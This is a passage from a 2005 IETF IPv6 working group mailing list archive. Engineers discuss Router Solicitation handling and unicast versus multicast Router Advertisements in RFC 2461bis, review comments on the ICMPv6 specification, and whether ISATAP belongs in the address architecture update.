Feb 2005 02:58:40 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX18fajvVoNVEsSHgrHk8KXDCaaYlMabVq5Y=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2mLH-0000zZ-8X for ipv6@ietf.org; Sun, 20 Feb 2005 03:21:28 -0500 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by iramx2.ira.uni-karlsruhe.de with esmtpsa (Exim 4.43 #1) id 1D2lz9-0001Mh-4E; Sun, 20 Feb 2005 08:58:38 +0100 Message-ID: <42184328.8010904@tm.uka.de> Date: Sun, 20 Feb 2005 08:58:32 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: "Soliman, Hesham" References: In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -63.9 (---------------------------------------------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 515708a075ffdf0a79d1c83b601e2afd Content-Transfer-Encoding: 7bit Cc: Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 578c2c9d0cb01ffe6e1ca36540edd070 Content-Transfer-Encoding: 7bit Hi Hesham. > [...] > > I guess this is why FreeBSD introduces a new state, NOSTATE. It does > > not do immediate address resolution on an entry in this state. It > > doesn't need to, because Rtadvd (on FreeBSD) sends multicast > > RA's in all > > cases except for ISATAP interfaces. > > => Right, I was trying to accomodate other ways of implementing Rtadvd > that would send unicast RAs in response to the RS in question. For > example in the case where no LLA exists in the technology used. In > this case it would be wasteful to multicast the RA. This is especially > true in a mobile system where you might get several RSs due to MNs > appearing on the link. I agree. > [...] > => So, from the above, I assume you suggest that we always send > a multicast RA in response? I don't know if this is a good way > to go given the example I mentioned above. What do you think? No, I don't think that a RA should always be muticasted. It certainly makes sense in many situations to unicast a RA. I get back to this in my last comment. > > If an RS contains a TSLLAO [1], the router does not have to > > immediately > > initiate address resolution (i.e., be conservative), but can > > still send > > a unicast RA. > > => I think the TSLLAO draft is useful in this case, but we obviously > still need to address this case for legacy hosts that don't implement > TSLLAO. Ok. > > > Soliman, Hesham wrote: > > >> [...] If an entry already exists with a > > >> LLA then it responds with a (two options): > > >> > > >> - unicast RA unless a multicast RA was already scheduled. > > >> > > >> - A multicast RA. > > >> > > >> I think the second option might be better to allow for > > ODAD to work. > > > > Hesham, why would a multicast RA be required for ODAD? An > > optimistic > > node can always send a RS from the unspecified source > > address to have > > the router multicast the RA. > > => That's true, I didn't consider this case. It's been a long > time since I last read ODAD and I don't know if it allows > the Onode to send RSs with a tentative src address or if it > requires the unspecified address. I guess it should just use > the unspecified address while the unicast one is tentative. An optimistic node may use a tentative source address in a RS. But if it does, it must not include the SLLAO. This prevents the router from overwriting a possibly existing NC entry for the tentative address's real owner. For the same reason, the optimistic node cannot use a SLLAO in a NS sent from a tentative source address. But since a NS does not make a lot of sense without a SLLAO, a NS cannot be sent at all from a tentative source address. So it must always be the router or a neighbor who starts address resolution for an optimistic node while the optimistic node's is still tentative. > > Unicast RA's could be advantageous on link layers with > > acknowledgements, > > like IEEE 802.11, where they are realiably transmitted. > > => Sure, there are many other examples of WWANs where unicast > RAs make more sense when responding to RSs, that's why I'm > not sure if it's always good to follow the FreeBSD way you describe > above. > > It'd be good if we can get some agreement on this before the > draft deadline. Yes, Hesham. I didn't mean to say that the way FreeBSD responds to RS's is my favorite. Actually, I think that we now have two use-cases where unicast RS's make more sense, WWANs and 802.11, and there are probably more. Also, I don't think that the additional state, NOSTATE, which FreeBSD uses for NC entries without L2 addresses makes a lot of sense. Overall, I think that the plethora of scenarios can be accommodated best if we leave a node some choice with respect to when a router creates a NC entry, and when it sends a RA by unicast or by multicast. RFC 2461bis already depends NC updates on whether the RS's source address is unspecified or not: If it is unspecified, the NC is not updated. If it is valid, either an existing NC entry is modified or a new NC entry is created. I think this is good; maybe we can expand on these rules. (1) The router can unicast a RA if and only if it previously received a RS with a valid (specified) source address. Rate limitations may prohibit the router from sending a unicast RA, though, and instead send a multicast RA that is anyway scheduled for transmission. RFC 2461bis already has this functionality. (2) If the received RS has a valid source address, but no SLLAO, then address resolution must be done before the unicast RA is sent. [Hmm, one may also consider to trigger address resolution, but still send a multicast RA. This could be faster than the unicast RA, which would have to wait for address resolution to complete...] (3) The router sends multicast RA's, first, on a periodic basis and, second, whenever it receives a RS with an unspecified source address. According to RFC 2461bis, rate limitations may cause the router to not immediately send a solicited multicast RA, but to wait for the next periodic multicast RA. (4) Rate limitations should be adjustable according to a particular link-layer technology, capacity, and deployment scenario. This allows for easy optimizations, like [1]. - Christian [1] draft-mkhalil-ipv6-fastra-05.txt -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ Soliman, Hesham wrote: > > > Greg Daley wrote: > > > Putting things in STALE doesn't work unless there's a link-layer > > > address known ( and there's none in the received RS). > > > > Greg is correct. When a node has a packet for a neighbor > > for which the > > NC entry is STALE, it does send the packet (trial and > > error), puts the > > entry into DELAY, and waits a while for upper-layer reachability > > confirmation. If the node receives reachability > > confirmation, then the > > entry goes back to REACHABLE. Otherwise it goes to PROBE, and the > > active part of NUD begins (i.e., the node starts > > transmitting NS's for > > the neighbor). > > > > As far as I see it, there is currently no state defined in RFC > > 2461[bis], except INCOMPLETE, that is appropriate for a NC > > entry without > > link-layer address. And INCOMPLETE has the additional semantics that > > address resolution is in progress. > > => Agreed. > > > > > I guess this is why FreeBSD introduces a new state, NOSTATE. It does > > not do immediate address resolution on an entry in this state. It > > doesn't need to, because Rtadvd (on FreeBSD) sends multicast > > RA's in all > > cases except for ISATAP interfaces. > > => Right, I was trying to accomodate other ways of implementing Rtadvd > that would send unicast RAs in response to the RS in question. For > example in the case where no LLA exists in the technology used. In > this case it would be wasteful to multicast the RA. This is especially > true in a mobile system where you might get several RSs due to MNs > appearing on the link. > > > When a packet is > > eventually to be > > transmitted for an entry in NOSTATE, that entry just moves > > to INCOMPLETE > > and a NS is sent. > > => So, from the above, I assume you suggest that we always send > a multicast RA in response? I don't know if this is a good way > to go given the example I mentioned above. What do you think? > > > If an RS contains a TSLLAO [1], the router does not have to > > immediately > > initiate address resolution (i.e., be conservative), but can > > still send > > a unicast RA. > > => I think the TSLLAO draft is useful in this case, but we obviously > still need to address this case for legacy hosts that don't implement > TSLLAO. > > > > > > Soliman, Hesham wrote: > > >> [...] If an entry already exists with a > > >> LLA then it responds with a (two options): > > >> > > >> - unicast RA unless a multicast RA was already scheduled. > > >> > > >> - A multicast RA. > > >> > > >> I think the second option might be better to allow for > > ODAD to work. > > > > Hesham, why would a multicast RA be required for ODAD? An > > optimistic > > node can always send a RS from the unspecified source > > address to have > > the router multicast the RA. > > => That's true, I didn't consider this case. It's been a long > time since I last read ODAD and I don't know if it allows > the Onode to send RSs with a tentative src address or if it > requires the unspecified address. I guess it should just use > the unspecified address while the unicast one is tentative. > > > > > Unicast RA's could be advantageous on link layers with > > acknowledgements, > > like IEEE 802.11, where they are realiably transmitted. > > => Sure, there are many other examples of WWANs where unicast > RAs make more sense when responding to RSs, that's why I'm > not sure if it's always good to follow the FreeBSD way you describe > above. > > It'd be good if we can get some agreement on this before the > draft deadline. > > thx, > Hesham > > > > > > - Christian > > > > [1] draft-daley-ipv6-tsllao-01.txt > > > > -- > > Christian Vogt, Institute of Telematics, University of Karlsruhe > > www.tm.uka.de/~chvogt/pubkey/ > > > > "No great genius has ever existed without some touch of > > madness." (Aristotle) > > > > > > =========================================================== > This email may contain confidential and privileged material for the sole use > of the intended recipient. Any review or distribution by others is strictly > prohibited. If you are not the intended recipient please contact the sender > and delete all copies. > =========================================================== > -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 12:54:53 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23707 for ; Sun, 20 Feb 2005 12:54:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2veL-0004Sy-3z for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 13:17:47 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2txs-0002bT-Pq; Sun, 20 Feb 2005 11:29:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2svd-0006NL-5h for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 10:23:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11373 for ; Sun, 20 Feb 2005 10:23:07 -0500 (EST) Message-Id: <200502201523.KAA11373@ietf.org> Received: from b.painless.aaisp.net.uk ([81.187.81.52] helo=smtp.aaisp.net.uk) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2tHT-0000I4-Dd for ipv6@ietf.org; Sun, 20 Feb 2005 10:46:00 -0500 Received: from [81.187.254.247] (helo=elwynslaptop) by smtp.aaisp.net.uk with esmtp (Exim 4.42) id 1D2svG-0001AW-I8; Sun, 20 Feb 2005 15:23:03 +0000 From: "Elwyn davies" To: "'Mukesh Gupta'" Date: Sun, 20 Feb 2005 15:23:14 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.5510 In-reply-to: <20050203044238.73411.qmail@web51002.mail.yahoo.com> X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-index: AcUJqsq2W1YhtQMmQ1Se0odsDRQEEQNtBH8Q X-Spam-Score: 1.1 (+) X-Scan-Signature: 46ad68ada464411807db2a0edd5648ae Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org Subject: RE: GEN-ART comments about ICMPv6 spec X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 1.8 (+) X-Scan-Signature: 1a2f5df4c6f30e0d5df43748fb095119 Content-Transfer-Encoding: 7bit Sorry this is very late... don't know if you are updating the draft ... Comments below... essentially go ahead. Regards elwyn > -----Original Message----- > From: Mukesh Gupta [mailto:mukesh77@yahoo.com] > Sent: 03 February 2005 04:43 > To: elwynd@dial.pipex.com > Cc: ipv6@ietf.org > Subject: GEN-ART comments about ICMPv6 spec > > Hi Elwyn, > > I am trying to address your comments in the IESG > review of the ICMPv6 draft. Please see my comments > inline. Please note that I am on vacation in india > for a month. So I might not be able to respond to > your replies for a while :) > > Sorry if the message is not very well formatted. > > ========= Your comment =============== > Section 2: A particular issue is the proliferation of > sub-protocols of > ICMPv6: There are statements about ICMPv6 being 'fully > implemented' - > the exact meaning of this statement is unclear in the > face of the > existence of the sub-protocols which use ICMPv6 > message structure. > Does 'fully implemented' (Section 2, para > 1) mean just the stuff in this draft or all the > sub-protocols - some > of the sub-protocols are not necessarily mandatory > (at least parts > of Mobile IPv6, SEND). > =========== My response =============== > I think, this spec should require the implementation > of just > the messages/behaviors specified in this draft. > Requirements > for other sub-protocols should be specified in the > respective > specs. What about replacing the following text > ---------- > ICMPv6 is an integral part of IPv6 and MUST be fully > implemented by every IPv6 node. > ---------- > with > ---------- > ICMPv6 is an integral part of IPv6 and the base > protocol > (all the messages and behavior required by this > specification) > MUST be fully implemented by every IPv6 node. > ---------- > Fine. > ========= Your comment =============== > Section 2.1: The definition of the error message > packet format does > not explain the relationship between inclusion of the > start of the > offending packet and allowing the packet originator to > notify the > packet sender. This means that the terms 'upper-layer > protocol' and > 'upper-layer process' appear without explanation later > in the > document. I suggest a paragraph something like: > > Inclusion of, at least, the start of the invoking > packet is > intended to allow the originator of a packet that > has resulted in > an ICMPv6 error message to identify the > upper-layer protocol and > process that sent the packet. > at the end of Section 2.1 would help. > =========== My response =============== > I don't see any problem with adding the suggested > paragraph if it > makes things clear. Does anyone else have any issues > with the > suggested addition? > Not seen any additional comments.. so fine > ========= Your comment =============== > Section 2.2(b): The term 'anycast group' is not used > elsewhere in the > mainstream IPv6 RFCs. All the referenced documents > refer to 'anycast > addresses'. The term is used in the title of the > magma WG but > actually is not used in any of their documents either! > Hence: s/sent > to a multicast or anycast group in which the node is a > member/sent to > a multicast group of which the node is a member or an > anycast address > that is implemented by the node/. > =========== My response ============== > I don't see a problem with this change and if no one > else has any issue, > I will update this in next rev. OK > > ========= Your comment =============== > Section 2.2: I have noted > previously (in connection with Neighbor Discovery) > that the source > address selection rules can lead to situations in > which the scopes of > the source and destination addresses are > (legitimately) mismatched. > It should be noted here that such packets MUST not be > dropped by the > packet transmission mechanisms in the node. Suggest > adding the > following to the end of the section: > > Under some circumstances the scope of the chosen > source address may > not match the scope of the destination address. > ICMPv6 messages MUST NOT > be dropped in the node that generates the ICMPv6 > packet on account of > such a mismatch. > > However, there are also circumstances under which this > mismatch can > occur and is unhelpful. For example, if an interface > on a router only > has a link local address, rule 2.2(b) may result in an > ICMPv6 response > to a problem with a site or global scope multicast > destination address > being sent with a link-local scope source address. In > the Neighbor > Discovery cases, this is not a problem because all > messages are link > local anyway, but in other cases the ICMPv6 message > may have to > traverse some routers on its way back to the > originator of the > offending message: it is inconvenient to have to make > special cases > for scope checking here, and the message is much less > helpful when it > arrives back at the originator. The problem could be > considered to be > a misalignment between rules 2.2(b) and 2.2(c): some > thought needs to > be put into what is the best solution, but the scope > of the ICMPv6 > destination address and the nature of the sub- > protocol need to be > taken into account - 2.2(c) could be allowed to > override 2.2(b) if the > result was unhelpful in the way described, and a > global unicast > address belonging to the node could be used in place > of the link local > if the packet is expected to traverse other routers. > > Sections 2.2(c) and 2.2(d): There has been further > discussion on the > mailing list, since I reviewed this document for IETF > LC, of whether > 2.2(c) is ever implemented, and suggesting that it > could be deleted. > I would suggest that this is not a good idea, but that > 2.2(d) does > need improving to avoid a link local address being > used > inappropriately as discussed regarding 2.2(b). > > Section 4.2, para 3 of Description: The potential > issue with > link-local source addresses is reiterated here and > needs to be cleaned > up if 2.2 is altered. > =========== My response ============== > I will try to handle the above comments in a separate > mail later as > this needs a little thought :) Havn't seen anything yet. I'll try my own input > > ========= Your comment =============== > Section 2.4(a): Three points: > 1. It is worth clarifying that this applies only at > the destination. > 2. The term upper layer needs expansion: as the draft > stands, this is > first mention of 'upper layer' {See above comment on > Section 2). > 3. The caveat of 2.4(d) applies. > > Suggest rewording 2.4(a) as follows: > (a) If an ICMPv6 error message of unknown type is > received at its > destination, it MUST be passed to the > upper-layer process that > originated the packet that caused the error, > where this can be > identified (see Section 2.4(d)). > =========== My response ============== > The ICMP protocol has been there for a long long time > and at least the > implementors clearly understand what we mean by that > statement. Though > I don't think this clarification is really needed, I > wouldn't mind > making this change. Well.. maybe some new ones might come along so I think it is worth doing:-) > > ========= Your comment =============== > Section 2.1: This section contains three distinct > topics: > 1. Grouping of ICMPv6 messages (error messages and > informational > messages) and list of messages defined in this > document. > 2. General ICMPv6 packet format (starting at 'Every > ICMPv6 > message...') > 3. Specialisation of general packet format for error > message group > (starting at 'The subclass of ICMPv6...'). > > I have previously commented that this section should > be split up but > the authors have resisted (on plausible grounds, > partly related to the > venerable age of the document). However, the current > arrangement is > not helpful to a naive reader: The first topic > contains a forward > reference to the 'Type' field which is not defined > until the second > topic. I think this problem could be solved(without > section > renumbering as I previously suggested) by reordering > the topics in the > order (2,1,3). > =========== My response ============== > Again, IMHO, this change is unnecessary at this point > but changing > the order of these statements doesn't really hurt too > much. So I > will reorganize the text in the next rev. Good! > > ========= Your comment =============== > > Section 2.1, last para: The draft now lists more > message types than > are actually defined in the document (some were added > after this para > was drafted I think): Suggest rewording as: > The following sections describe the message formats > for the > ICMPv6 error message types 1 through 4 and > informational message > types 128 and 129 listed in Section 4.1. > =========== My response ============== > Good point. I will update the text in next rev. Fine. > > ========= Your comment =============== > Sections 3 and 4: Section 3.3 contains the following > (last para): > The rules for selecting the Source Address of this > message are > defined in section 2.2. > The other sub-sections of Sections 3 and 4 don't > mention source > address selection. Suggest either this comment be > moved to the > beginning of Section 3 and added to Section 4 with > 'this message' > replaced by 'these messages'. Alternatively, a note > on source > selection can be added in the 'IPv6 Fields' part of > each sub-section. > =========== My response ============== > As we have already talked about the source address > selection in > section 2.2 and it applies to all the messages, I > don't think > we need to repeat in with all the messages again. So > I will > remove that statement from 3.3. > I think that is OK. > ========= Your comment =============== > Section 4.1: Data field specification: Is it desirable > to explicitly > note that there is no limit on the amount of data? > Much of the rest > of the document limits ICMPv6 messages to the > guaranteed minimum MTU, > but these messages are intentionally allowed to be > larger. Presumably > even needing jumbo packet support. > =========== My response ============== > The spec limits the size of the ICMP "error" messages > that are > generated in response to some non-ICMP packet because > of some > error condition. The spec does not limit the size of > the > "informational" ICMP messages that are either > generated by the > node directly or in response to those ICMP messages. > So we > explicitely say when we need to limit the size and we > don't > say anything when there is no limit. > > Do you really think we need to explicitely mention > that there > is no size limit for these messages? I don't think it does any harm. > > I agree with all the other editorial nits and I will > update them > in the next rev. > > Regards > Mukesh > > > > > __________________________________ > Do you Yahoo!? > Read only the mail you want - Yahoo! Mail SpamGuard. > http://promotions.yahoo.com/new_mail -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 15:13:34 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06042 for ; Sun, 20 Feb 2005 15:13:34 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2xoa-0008J6-5p for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 15:36:29 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2w7p-0001ae-PQ; Sun, 20 Feb 2005 13:48:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2vBC-00008F-HD for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 12:47:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA23151 for ; Sun, 20 Feb 2005 12:47:30 -0500 (EST) Received: from darkstar.iprg.nokia.com ([205.226.5.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2vXD-0004Fb-U0 for ipv6@ietf.org; Sun, 20 Feb 2005 13:10:25 -0500 Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id j1KIGt814811; Sun, 20 Feb 2005 10:16:55 -0800 X-mProtect: <200502201816> Nokia Silicon Valley Messaging Protection Received: from danira-pool05070.americas.nokia.com (10.241.50.70, claiming to be "l5131412.nokia.com") by darkstar.iprg.nokia.com smtpdWPaXzm; Sun, 20 Feb 2005 10:16:38 PST Message-Id: <6.2.1.2.2.20050220094306.02fcc5a8@mailhost.iprg.nokia.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Sun, 20 Feb 2005 09:46:21 -0800 To: "Fred L. Templin" From: Bob Hinden In-Reply-To: <000101c516bb$17aff4b0$6401a8c0@grayling> References: <000101c516bb$17aff4b0$6401a8c0@grayling> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 08170828343bcf1325e4a0fb4584481c Cc: ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Fred, >Just glancing at the archives over the past few weeks, on the >subject of IPv6 addresses with embedded IPv4 addresses, the >discussion that has taken place so far is incomplete in that >it fails to mention ISATAP addresses. (Same comment also >for the subject thread on: " AYIYA link local address".) It was a discussion regarding keeping the embedded addresses in the IPv6 addressing architecture document. Since we are planning to move the address architecture specification to Draft standard, it wouldn't be appropriate to add new types of addresses. Bob -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 18:01:33 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19286 for ; Sun, 20 Feb 2005 18:01:33 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D30RC-00042N-Mt for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 18:24:31 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2z84-0002n4-2B; Sun, 20 Feb 2005 17:00:40 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2yLP-0000is-Qe for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 16:10:23 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11149 for ; Sun, 20 Feb 2005 16:10:16 -0500 (EST) Received: from smtp812.mail.sc5.yahoo.com ([66.163.170.82]) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D2yhS-0001RT-Sd for ipv6@ietf.org; Sun, 20 Feb 2005 16:33:12 -0500 Received: from unknown (HELO grayling) (osprey67@63.197.18.101 with login) by smtp812.mail.sc5.yahoo.com with SMTP; 20 Feb 2005 21:10:15 -0000 From: "Fred L. Templin" To: "'Bob Hinden'" Date: Sun, 20 Feb 2005 13:10:18 -0800 Message-ID: <001e01c51790$950ec5f0$6401a8c0@grayling> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <6.2.1.2.2.20050220094306.02fcc5a8@mailhost.iprg.nokia.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: 7bit Cc: ipv6@ietf.org Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Content-Transfer-Encoding: 7bit Bob, Bob Hinden wrote: > Fred, > >> Just glancing at the archives over the past few weeks, on the >> subject of IPv6 addresses with embedded IPv4 addresses, the >> discussion that has taken place so far is incomplete in that >> it fails to mention ISATAP addresses. (Same comment also >> for the subject thread on: " AYIYA link local address".) > > It was a discussion regarding keeping the embedded addresses in the IPv6 > addressing architecture document. Since we are planning to move the > address architecture specification to Draft standard, it wouldn't be > appropriate to add new types of addresses. That is not what I am asking or advocating; my message was a simple statement of fact regarding the discussion. Fred fltemplin@acm.org -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Sun Feb 20 19:57:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA29601 for ; Sun, 20 Feb 2005 19:57:13 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D32FA-0006nU-Lk for ipv6-web-archive@ietf.org; Sun, 20 Feb 2005 20:20:13 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30wa-00006I-AD; Sun, 20 Feb 2005 18:56:56 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D30G7-0008SG-8O for ipv6@megatron.ietf.org; Sun, 20 Feb 2005 18:13:04 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20953 for ; Sun, 20 Feb 2005 18:12:55 -0500 (EST) Received: from alpha1.its.monash.edu.au ([130.194.1.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D30cB-0004J9-Ke for ipv6@ietf.org; Sun, 20 Feb 2005 18:35:52 -0500 Received: from localhost ([130.194.13.87]) by vaxc.its.monash.edu.au (PMDF V6.1 #39306) with ESMTP id <01LL29KDL55U8WZHWH@vaxc.its.monash.edu.au> for ipv6@ietf.org; Mon, 21 Feb 2005 10:12:45 +1100 Received: from curly.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id A46BCAB543; Mon, 21 Feb 2005 10:12:44 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by curly.its.monash.edu.au (Postfix) with ESMTP id 76ACE4FB02; Mon, 21 Feb 2005 10:12:44 +1100 (EST) Date: Mon, 21 Feb 2005 10:12:44 +1100 From: Greg Daley In-reply-to: <42184328.8010904@tm.uka.de> To: Christian Vogt Message-id: <4219196C.8080002@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en, en-us User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 References: <42184328.8010904@tm.uka.de> X-Spam-Score: 0.0 (/) X-Scan-Signature: 848ed35f2a4fc0638fa89629cb640f48 Content-Transfer-Encoding: 7BIT Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2a76bcd37b1c8a21336eb0a1ea6bbf48 Content-Transfer-Encoding: 7BIT Hi Christian and Hesham, I think people are asymptoting to the same point. Are we supposed to be suggesting text though? Christian Vogt wrote: > Hi Hesham. > > > [...] > >> > I guess this is why FreeBSD introduces a new state, NOSTATE. It does >> > not do immediate address resolution on an entry in this state. It >> > doesn't need to, because Rtadvd (on FreeBSD) sends multicast > >> RA's in all >> > cases except for ISATAP interfaces. >> => Right, I was trying to accomodate other ways of implementing Rtadvd >> that would send unicast RAs in response to the RS in question. For >> example in the case where no LLA exists in the technology used. In >> this case it would be wasteful to multicast the RA. This is especially >> true in a mobile system where you might get several RSs due to MNs >> appearing on the link. > > > I agree. > >> [...] >> => So, from the above, I assume you suggest that we always send a >> multicast RA in response? I don't know if this is a good way >> to go given the example I mentioned above. What do you think? > > > No, I don't think that a RA should always be muticasted. It certainly > makes sense in many situations to unicast a RA. I get back to this in > my last comment. > >> > If an RS contains a TSLLAO [1], the router does not have to > >> immediately >> > initiate address resolution (i.e., be conservative), but can > >> still send >> > a unicast RA. >> >> => I think the TSLLAO draft is useful in this case, but we obviously >> still need to address this case for legacy hosts that don't implement >> TSLLAO. > > > Ok. > >> > > Soliman, Hesham wrote: >> > >> [...] If an entry already exists with a >> > >> LLA then it responds with a (two options): >> > >> > >> - unicast RA unless a multicast RA was already scheduled. >> > >> > >> - A multicast RA. >> > >> > >> I think the second option might be better to allow for > >> ODAD to work. >> > > Hesham, why would a multicast RA be required for ODAD? An > >> optimistic > node can always send a RS from the unspecified source > >> address to have > the router multicast the RA. >> >> => That's true, I didn't consider this case. It's been a long >> time since I last read ODAD and I don't know if it allows the Onode to >> send RSs with a tentative src address or if it >> requires the unspecified address. I guess it should just use 